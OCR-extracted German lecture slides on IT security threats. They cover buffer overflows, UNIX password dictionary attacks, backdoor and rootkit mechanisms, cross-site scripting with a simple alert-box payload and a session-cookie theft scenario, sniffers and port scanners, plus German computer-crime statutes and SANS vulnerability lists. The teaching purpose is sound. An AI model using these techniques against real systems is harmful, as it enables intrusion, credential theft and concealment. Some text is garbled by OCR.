long ptr overflow teng—pts
i T
buffer[96] R buffer[96]
o large string[128] :] ] large string[128]
shellcode[] shellcode[]
heap heap
bss bss

\
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Buffer Overflow Durchfuhrung

B |Im Bsp. shellcode fest ins Programm ein-compiliert

B Bei realem Buffer Overflow muss shellcode ins Laufzeitsystem
“eingebracht” werde oder eine bestimmte Funktion einer
Betriebssystem-Bibliothek ausgefuhrt werden.

B Dazu gezielte Manipulation von
0 Kommandozeilen-Argumenten
@ Shell-Umgebungsvariablen
Q Interaktiver Input
O Nachrichten des Netzverkehrs

B Problem dabei ist das “Erraten” der Adresse des shellcode oder
der Bibliotheksroutine im Speicher

\
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B Zentraler Ansatz; Modifikation von
a SUID Programmen
a Compiler:
® \Warnung vor “gefahrlichen”
Funktionen

® \ermeidung dieser Fkt., d.h.
r_1_icht standardkonforme
Anderung

® Einbindung von Fkt. welche die
Integritat des Stack vor der
Ruckgabe des Return-Wertes
testen

Q Betriebssystem:

® Stack Segmente werden als
nicht ausfuihrbar markiert

B Dezentraler Ansatz; Modifikation
von

Q Einzelnen SUID Programmen

\
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Buffer Overflow Schutz

B “Sichere” Programmierung:

0 Verzicht auf Funktionen die Pointer
auf ein Ergebnis im Speicher
zurUckliefern

Q Verzicht auf Funktionen zur String-
Manipulation ohne Langenprufung,
z.B. fgets () stattgets()
verwenden

0 Strenge Uberprifung der
Eingabeparameter bezgl. Anzahl,
Lange und Datentyp

0 Strenge Uberpriifung verwendeter
Umgebungsvariablen

B Weitere Info: [Smith 97]

B Adress Space Layout
Randomization (ASLR):
Speicherort flr Heap, Stack,
Executables und Libraries zufallig
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Exploits: Account/Password Cracking

B Haufig Benutzername + Passwort zur Authentisierung
B “Erraten” von Benutzernamen und Passwort

B Brute-Force Angriff / Dictionary Attack bei bekanntem Benutzer-
namen (alle moglichen “Passworte” durch-probieren)

B Brechen des Verschlisselungsalgorithmus fur das Passwort

B Social Engineering

B Password Cracking am Beispiel von UNIX:
Q Administrator (root) vergibt Benutzernamen

Q Eintragin /etc/passwd
® Datei fUr alle lesbar
® Format des Eintrags

reiser:Ad9%y?SmW+zP&:23:17:HelmutReiser:/home/reiser:/bin/tcsh
Username:Password:UID:GID:Gecko-String:Home-Verzeichnis:Shell

\
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Bsp. UNIX Authentisierung: User / Password

B Benutzer wahlt Passwort

Q Passwort wird, mit sich selbst als
Schlissel, verschliisselt und
verschlusselt gespeichert in /etc/
passwd:

z.B. :Ad9%y?SmW+zP&:

Q Auch root kennt Passwort nicht

B Authentisierung:

Q Eingegebenes Passwort wird mit
sich selbst verschlusselt u. mit
demin /etc/passwd verglichen

B VerschlUsselungsalgorithmus
crypt (pwd, salt) bekannt

B Dictionary Attack:

0 Angreifer verschlisselt Worterbuch
und vergleicht verschlusselte
Strings mit Eintragen in /etc/
passwd

\
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B Verhinderung der Dictionary Attack
Q Zus. Parameter salt in crypt
® 12 Bit Zahl: 0 <= salt <4096
® Bei Initialisierung zufallig
gewahlt
® Die ersten 2 Zeichen im
Passwort String sind salt;
im angegeb. Bsp. Ad
B Brute Force Dictionary Attack:

Q Angreifer muss Woérterbuch fur
jeden Benutzer mit dessen salt

verschlusseln und vergleichen

0 Bei heutiger Rechenleistung kein
echtes Problem

B Verhinderung z.B. durch:

Q Shadow Password System (nur
root kann verschl. Passwort lesen)

Q One-Time Passwords
[
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Exploits: Back Doors, Trap Doors

B Ziel: Angreifer will Zugang
(Hintereingang) zu einer bereits
kompromittierten Maschine

Q@ An der Betriebssystem-
Authentisierung vorbei

Q Mit speziellen Rechten (z.B. root)

B Mechanismen, (z.B.):

Q Trojaner mit versteckter
Funktionalitat

Q |nstallation eines “versteckten”
Netzdienstes, der zu bestimmten
Zeiten einen Netzwerk-Port 6ffnet
und auf Kommandos wartet

QO Eintrag in . rhosts Datei von root

Q Mail-Alias, dass bei Empfang einer
Mail bestimmtes Programm startet

@ SUID/SGID Shell-Skript

\
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IT-Sicherheit

B Schutzmechanismen:
B Integritats-Checks:
Q Kryptographische Prufsummen:
® aller installierten Programme
® Konfigurationsdateien

® Sowie deren regelmallige
Uberpriifung
0 Uberprifung der offenen Ports und
der aktivierten Netzdienste
Q Suche nach ungewohnlichen
SUID/SGID Programmen
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Exploits

B Werkzeugsammlung mit dem Ziel:

Q Verbergen dass Rechner
kompromittiert wurde

Q Zugang zum Rechner erhalten

B Bsp. fur Rootkit-Werkzeuge
Q Trojaner
@ Back Door Programme
@ Camouflage-Tools:
® Tool zur Manipulation des
System-Logs
® Manipulierte
Systemkommandos um
bestimmte Dateien,
Verzeichnisse, Prozesse und

Netzverbindungen zu
“verstecken”

Q Remote Control Tools

\
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: Rootkits

B Linux Rootkit IV als Beispiel
Q Trojaner und Backdoors:
chfn, chsh, inetd,
login, passwd, rsh:
Passwort geschutzte root-Shell
0 bindshell, Server als Backdoor
a Camouflage:
® Manipulierte Programme
verbergen Rootkit-Information
du, find, ifconfig,
killall, 1ls, netstat,
pidof, ps, syslogd,
tcpd, top
® Tools zur Manipulation der
Logdfiles 1astlog, utmp,
wtmp
0 Packetsniffer

Q Eigene Crontab
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Beispiel: Back Oirifice

B Remote Administration “Tool” fur Windows

B Server muss auf der anzugreifenden Maschine installiert
werden; ermaoglicht vollen Zugriff auf alle Ressourcen

B Kann, wie ein Virus, an ausfuhrbare Dateien “angehangt”

werden

B Plug-In Architektur z.B. Plug-Ins zur Verschlusselung der
Kommunikation; Ubertragung des Bildschirminhalts, Steuerung
der Maus, Ubertragung von Videos,.....

B Aktivierung entfernter Hardware, z.B. Kamera, Sound,....

\
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Cross Site Scripting (XSS)

B Angriff gegen Web-Anwendungen http:/

. . . . eval.symantec.com/
B Angreifer schleust Code in Web-Seiten oder Lin  wkiginfo/enterprise/

B Betrachter der Seite fiihrt Schad-Code aus whife_papers/b-

B XSS haufiger als Buffer Overflows:
Q@ 2007: 80% aller Angriffe basierten auf XSS

B Sprachen fur XSS:
HTML

XHTML
JavaScript

JScript

ActiveX whitepaper_exec_summar
y_internet_security thre

Java
VBScript
Adobe Flash
RSS, Atom

O 0U0 0000

(]

\
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XSS: Klassifikation
B Drei Arten von XSS (Type 0 bis Type 1)

B DOM based (Type 0) bzw. local XSS:

@ Document Object Model (DOM): Objektmodell zur Reprasentation von
HTML und XML Dokumenten

QO Schadcode wird direkt an Client-Skript Ubergeben; Server nicht beteiligt

a z.B. Client-Skript liest Argument aus URL und flgt dieses ungeprift in
HTML-Dokument ein das lokal ausgefuhrt wird

B Nicht Persistent (Typ 1) bzw. reflected XSS:
Q Benutzereingabe wird vom Server direkt an Nutzer zurtckgeliefert
Q Schadcode wird vom Browser interpretiert

0 z.B. dynamisch generierte Web-Seiten; Ausnutzung von HTTP-Get
(URL) oder HTTP-Put (Formular)

O Nicht persistent, da Eingabe (Schadcode) nicht gespeichert wird.

\
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XSS Klassifikation: Type 2

B Persistent (Type 2) bzw. stored oder second order:

O Web-Anwendung ermoglicht Speicherung von Nutzereingaben (z.B.
Wiki, Foren, Anwendungen fur soziale Netzwerke)

@ Schadcode wird auf Web-Server gespeichert
Q und spater beim Abruf ausgefihrt
QO Machtigste Art von XSS

@ Schadcode wird ggf. vielfach ausgefluhrt
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XSS: Beispiele
B exemplarischer Angriffsvektor:

<script type="text/javascript">alert("Attack”);</script>
erzeugt Warnungsfenster mit ,Attack® (andere Skripte moglich)

B http://www.goodsite.com/cgi/auth.cgi?<script type="text/
javascript">alert("Atack”);</script>

B Server verpackt Angriffsvektor in Antwortseite und Client fuhrt diese aus
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XSS: Anwendungsbeispiel

. Alice besucht Online-Banking Seite von Bob
Mallet weild von XSS Schwachstelle in Bob‘s Server
Mallet erzeugt URL die XSS Schachstelle nutzt

Mallet schickt gefalschte Mail (Absender Bob) mit dem Link an
Alice

. Alice nutzt Mallets URL um Bobs Seite zu nutzen, XSS wird
wirksam, Schadskript wird in Alice Browser ausgefuhrt

6. Skript schickt Session Cookie an Mallet
7. Mallet nutzt Cookie, um Geld zu Uberweisen

hownh =

(&)

\
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Sniffer: Abhoren des Netzverkehrs

B | ocal Area Network (LAN): B Tools:

0 |.d.R. gemeinsam genutztes 0 Ubergang zwischen Werkzeug des
Medium (shared medium), z.B. System- sowie Netzadministrators
Ethernet, Token Ring und Cracker Tool sind flieRend

QO Netzwerk-Karten kdnnen im Q tcpdump
Prinzip gesamten Verkehr Standard-Werkzeug diverser Unix
mithoren, aber Varianten

Q geben nur die an den Rechner Q eathereal . _
adressierten Packete weiter Packet-Analyzer (Unix, Windows)

B Gefahr: “Promiscious Mode”: Q@ snoop
Sun Solaris

Q Einstellung der Karte

Q Im Promiscious Mode werden alle
Pakete gelesen

Q@ Gefahr wird durch ,geswitchtes®
Netz relativiert

B Wide Area Network (WAN):

Q Jeder Vermittlungsrechner kann
Nachrichten ,mitlesen®

\
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Port Scanner

B Suchen auf entferntem Rechner nach ,offenen® Ports
O Versuch eines Verbindungsaufbau / pro Port
Q Falls erfolgreich = Port ,offen®

B Damit Identifikation von Diensten

B Gezielte Suche nach Rechner die Dienste mit bekannten
Schwachen anbieten

B Auch hier ist der Ubergang zwischen niitzlichem Werkzeug und
Cracker Tool flief3end

B WARNUNG: Port Scan auf fremde Netze/Maschinen werden
als Angriff gewertet

B Beispiele:
Q nmap (Unix)
Q Knocker
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Inhalt (2)

3. Bedrohungen, Angriffe und Gefahrdungen (Forts.)
6. Buffer Overflow
7. Account / Password Cracking
8. Hintertlren / Falltlren
9. Rootkits
10. Cross Site Scripting (XSS)
11. Sniffer
12. Port Scanner

Rechtliche Regelungen: Strafgesetzbuch
Klassifikation der Angreifer / Taterbild
,wenty Most Vulnerabilities”
Zusammenfassung

N o as
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Rechtliche Regelungen: Strafgesetzbuch

B Strafgesetzbuch (StGB) regelt Strafrecht
B Verletzungen der Normen werden im Strafverfahren verhandelt

B Antragsdelikt: Tat wird nur auf Antrag (Anzeige) i.d.R. durch den
,Verletzten“ (§ 77 ff.) verfolgt (§ 202a, 202b, 303a, 303b)

B Offizialdelikt: Tat wird ,von Amts wegen” (Staatsanwaltschaft)
verfolgt (§ 202c)

B § 202a: Ausspahen von Daten
B § 202b: Abfangen von Daten (seit 11.08.2007)

B § 202c: Vorbereiten des Ausspahens und Abfangens von Daten
(seit 11.08.2007)

B § 303a: Datenveranderung
B § 303b: Computersabotage
l B § 303c: Strafantrag
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§ 202a StGB: Ausspahen von Daten

(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die
nicht far ihn bestimmt und die gegen unberechtigten Zugang
besonders gesichert sind, unter Uberwindung der
Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei
Jahren oder mit Geldstrafe bestraft.

(2) Daten im Sinne des Absatzes 1 sind nur solche, die
elektronisch, magnetisch oder sonst nicht unmittelbar
wahrnehmbar gespeichert sind oder ubermittelt werden.
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§ 202b StGB: Abfangen von Daten

Wer unbefugt sich oder einem anderen unter Anwendung von
technischen Mitteln nicht fur ihn bestimmte Daten (§ 202a Abs.
2) aus einer nichtoffentlichen Datenubermittlung oder aus der
elektromagnetischen Abstrahlung einer
Datenverarbeitungsanlage verschafft, wird mit Freiheitsstrafe
bis zu zwei Jahren oder mit Geldstrafe bestraft, wenn die Tat
nicht in anderen Vorschriften mit schwererer Strafe bedroht ist.
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§ 202c StGB: Vorbereitung des Abfangens oder
Ausspahens von Daten (,Hackerparagraph®)

(1) Wer eine Straftat nach § 202a oder § 202b vorbereitet, indem
er

1. Passworter oder sonstige Sicherungscodes, die den Zugang zu Daten (§
202a Abs. 2) ermoglichen, oder

2. Computerprogramme, deren Zweck die Begehung einer solchen Tat ist,
herstellt, sich oder einem anderen verschafft, verkauft, einem
anderen Uberlasst, verbreitet oder sonst zuganglich macht, wird
mit Freiheitsstrafe bis zu einem Jahr oder mit Geldstrafe bestraft

(2) § 149 Abs. 2 und 3 gilt entsprechend.
(Vorbereitung der Falschung von Geld und Wertzeichen)

o Offizialdelikt
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§205 StGB: Strafantrag

(1) In den Fallen des § 201 Abs. 1 und 2 und der §§ 201a, 202,
203 und 204 wird die Tat nur auf Antrag verfolgt. Dies gilt auch
in den Fallen der §§ 202a und 202D, es sei denn, dass die
Strafverfolgungsbehorde wegen des besonderen offentlichen

Interesses an der Strafverfolgung ein Einschreiten von Amts
wegen fur geboten halt.

® § 202c fehlt in dieser Aufzahlung; d.h. 202c ist Offizialdelikt

\
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§ 303a StGB: Datenveranderung

(1) Wer rechtswidrig Daten (§ 202a Abs. 2) l16scht, unterdrickt,
unbrauchbar macht oder verandert, wird mit Freiheitsstrafe bis
zu zwei Jahren oder mit Geldstrafe bestraft.

(2) Der Versuch ist strafbar.

(3) Fur die Vorbereitung einer Straftat nach Absatz 1 gilt § 202c
entsprechend.

\
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§ 303b StGB: Computersabotage

(1) Wer eine Datenverarbeitung, die fur einen anderen von
wesentlicher Bedeutung ist, dadurch erheblich stort, dass er
1. eine Tat nach § 303a Abs. 1 begeht,
2. Daten (§ 202a Abs. 2) in der Absicht, einem anderen
Nachteil zuzufligen, eingibt oder Ubermittelt oder
3. eine Datenverarbeitungsanlage oder einen Datentrager
zerstort, beschadigt, unbrauchbar macht, beseitigt oder
verandert,
wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe
bestraft.
(2) Handelt es sich um eine Datenverarbeitung, die fur einen
fremden Betrieb, ein fremdes Unternehmen oder eine Behorde

von wesentlicher Bedeutung ist, ist die Strafe Freiheitsstrafe bis
zu funf Jahren oder Geldstrafe.
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§ 303b StGB: Computersabotage (Forts.)

(3) Der Versuch ist strafbar.

(4) In besonders schweren Fallen des Absatzes 2 ist die Strafe
Freiheitsstrafe von sechs Monaten bis zu zehn Jahren. Ein
besonders schwerer Fall liegt in der Regel vor, wenn der Tater

1. einen Vermogensverlust grolen Ausmaldes herbeiflhrt,

2. gewerbsmafig oder als Mitglied einer Bande handelt, die sich zur
fortgesetzten Begehung von Computersabotage verbunden hat,

3. durch die Tat die Versorgung der Bevolkerung mit lebenswichtigen
Gutern oder Dienstleistungen oder die Sicherheit der Bundesrepublik
Deutschland beeintrachtigt.

(5) Fur die Vorbereitung einer Straftat nach Absatz 1 gilt § 202c

entsprechend.
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§ 303c StGB: Strafantrag

In den Fallen der §§ 303, 303a Abs. 1 und 2 sowie § 303b Abs.
1 bis 3 wird die Tat nur auf Antrag verfolgt, es sei denn, dass die
Strafverfolgungsbehdrde wegen des besonderen offentlichen
Interesses an der Strafverfolgung ein Einschreiten von Amts
wegen fur geboten halt.

\
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Inhalt (2)

3. Bedrohungen, Angriffe und Gefahrdungen (Forts.)
6. Buffer Overflow

7. Account / Password Cracking

8. Hintertlren / Falltlren

9. Rootkits

10. Cross Site Scripting (XSS)

11. Sniffer

12. Port Scanner

Rechtliche Regelungen: Strafgesetzbuch
Klassifikation der Angreifer / Taterbild
,wenty Most Vulnerabilities”

Zusammenfassung

N o o~

\
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Klassifikation der Angreifer

B Einteilung nach: 6(1/
0 Know How N &
QO Ressourcen Einsatz ‘\\Q’
Q Zeiteinsatz N

B Beispiele:
a Skript Kiddie oder Wannabes
Q Einzelperson (Cracker)
Q Wirtschaftsspionage
Q@ Nachrichtendienste

hoch

Know How

gering

gering | hoch
Ressourcen Einsatz
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Klassifikation der Angreifer
M Einteilung nach: <
KL
0 Know How &
. ) <
QO Ressourcen Einsatz RN
Q Zeiteinsatz qq,\
B Beispiele:
o
Q Einzelperson (Cracker) > §
Q Wirtschaftsspionage (e}
Q@ Nachrichtendienste g
o
cC o
X =
(0]
(@]
gering | hoch
Ressourcen Einsatz
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Twenty most vulnerabilites (V 8.0)

B SANS Institute (System
Administration, Audit, Networking
and Security)

SANS/FBI Top twenty list
WWW.sans.org

B \ersion 8.0; 28. Nov., 2007
B Client-side Vulnerabilities in
Web-Browsers

0 Bugs in Internet Explorer and
Firefox

O Hundreds of malicious Active X
controls

0 Vulnerabilities in Plugins
2. Office Software

Q Malformed Documents

Q Various Bugs

—_—
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Number of High Severity Vulnerabilities (CVSS >

2007 2006 2005 2004 2003 2002

Microsoft Word Year

Microsoft Excel

2007 2006 2005 2004 2003 2002 2007 2006 2004
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Twenty most vulnerabilites (V 8.0)

3. Email Clients
0 Distribution of Malware
0 Phishing, Spam
0 Social Engineering
0 DoS; Mail-bombing
4. Media Players

O Vulnerabilities in most popular
media player
0 Forgotten application

B Server Side Vulnerabilities
1. Web Applications

O CMs, Wikis, Bulletin Boards,
Social Networks, ...

PHP Remote File Include
SQL Injection
Cross Site Scripting (XSS)

Cross-site request forgeries
(CSRF)
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2. Windows Services

a  Service Control Programm (SCP)
Service Control Manager (SCM)

a RPC and CIFS Vulnerabilities
0 Default enabled services

0 Built in local accounts (Local
System, Local Service, Local
Network)

3. Unix/MAC OS Services:
Q Brute force Attacks against
Remote Services (ssh, ftp, telnet)
4. Backup Software:

Q Bugs in popular client server
based backup software

0 CA BrightStore ARCServe
0 Symantec Veritas NetBackup
0 EMC Legato Networker
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Twenty most vulnerabilites (V 8.0), cont.

5. Anti-Virus Software and Firewalls

a
W]

Multiple remote code exec

Evasion Attacks; specially crafted
files bypass sec. systems

6. Applications affected

1.

Security Policies and Personal

Excessive User Rights and
Unauthorized Devices

0 Users can do unsafe things
0 Rogue wirelss access point
0 Personal laptop

a Directory Servers (steal
passwords) Q Unman.aged Software
0 Monitoring Systems; exploit 4 P2P Clients, ...
: ’ 2. Phishing / Spear Phishing
Clients 3 .
a  Configuration and Patch Systems Identity Theft
O Information about staff or
7. Database Software organization in phishing mail
Q Default config with default passw. O Voice Phishing (call Phone Nr....)
0 SAQL injection 3. Unenctypted Laptops and Removable
0 Weak passwords Media
a Buffer overflows 21D exposure
U etc.
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Twenty most vulnerabilites (V 8.0), cont.

B Zero Day Attacks

0 Several Zero Day Attacks have
been seen

B Application Abuse
1. Instant Messaging
0 Malware
Q Information theft
O DoS
O Vulnerabilities in IM
2. P2P and File Sharing
Q Malware
Q Information Manipulation

O Attacking Techniques could be
found in Cloud Computing and
Grids

B Network Devices
1. VoIP Servers and Phones

O Vulnerabilities in Cisco Call
Manager and Asterisk

0 VolP Phishing, eaversdropping,
toll fraud, DoS

\
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Twenty most vulnerabilites (V 7.0)

geandert wurde)
B Version 7.0; 15. Nov., 2006
B Operating Systems

6. MAC OS X
2. Windows Libraries: Q Multiple Vulnerabilities:
Q Exploits via diff. applications Safari, ImagelO, Unix Basis

Q Code execution
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O First virus / trojan seen

Twenty most vulnerabilites (V 7.0), cont.

B Cross Plattform Applications

6. DNS Servers

B Recursion denial of service attack

B Spoofing authoritativ zone
answers
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Twenty most vulnerabilites (V 7.0), cont.

2. Common Configuration
Weaknesses

U Default configuration
U Easy accessible via network
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Twenty most vulnerabilites (V 6.01)

[ | VerS|on601 Nov., 2005
B Windows Vulnerabilities

1. Web Services
0 Buffer Overflows
@  Anonymous remote sessions B Unix Vulnerabilities
0 Default activation of services
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Twenty most vulnerabilites (V 6.01), cont.

B Networking Product Vulnerabilities B Vulnerbilities in Cross Plattform

1. Cisco 10S and non-10S Products Applications
0 Several vulnerabilites in different
products
2. Juniper, CheckPoint and
Symantec

0 Several vulnerabilities

3. Cisco Device Configuration
Weakness:

@ No remote login by default
Default SNMP community string
Default passwords
IP Source Routing enabled
Finger activated
HTTP configuration

0O 0000
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Twenty most vulnerabilites (V 6.01), cont.

B Vulnerbilities in Cross Plattform
Applications

9. Mozilla and Firefox Browsers

B Several vulnerabilites
B Remote code execution
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Twenty most Vulnerabilities: How to protect?

Close most dangerous holes first

Install and make accessible only necessary software, services and ports
Install latest security patches

Establish and control fulfillment of security policy (all)

Appropriate configuration

Install a firewall

Eliminate sample and unneccessary applications

Filter HTTP requests

Disable weak services

Continious information about security weaknesses ...........

B Diese Hinweise stellen (mehr oder weniger) allgemeine
(Sicherheits-)Grundsatze dar.

B Frage: Welche allgemeineren Schutzmechanismen
(Sicherheitsanforderungen) — unabhangig von konkreten
Angriffen — gibt es?

o000 00000 oo

\
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Ruckblick: OSI-Sicherheitsdienste

o Peer Entity B [dentifikation (Identification);
Authentication Data Oriain Personalisierung:
9 Zweifelsfreie Verbindung zwischen
Access Control digitaler ID und Real World Entity
Connection (Person oder Organization)

: Autorisierung (Authorization):
Connectionless Erteilung von Rechten an Entities

Data Confidentiality

Selective field B Zurechenbarkeit (Accountability)
Traffic flow B Anonymitat (Anonymity)
Connection | (Verfugbarkelt (Avallablllty))

|

Connectionless Ressourcenbeschrankung

Data Integrity (Ressource constraints)
Selective field

Recovery B Notwendigkeit einzelner Sicher-
Proof of origin heitsanforderungen muB in
Non-Repudiation konkreter Umgebung untersucht

Proof of delivery werden.
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Zusammenfassung

B Security Engineering
Q@ Mehrstufiger, iterativer und kontinuierlicher Prozess

Q In diesem Abschnitt Fokus auf Bedrohungsanalyse:
Uberblick Uber mogliche Angriffe und Schwachen

O Risiko-Priorisierung (wurde nicht vertieft) und dann Ableitung von
(allgemeineren) Sicherheitsanforderungen

B In den nachsten Abschnitten:

@ Ableitung und Bewertung von Sicherheitsmechanismen zur
Durchsetzung von Sicherheitsanforderungen

Q Zuerst grundlegende Techniken der Kryptologie

\
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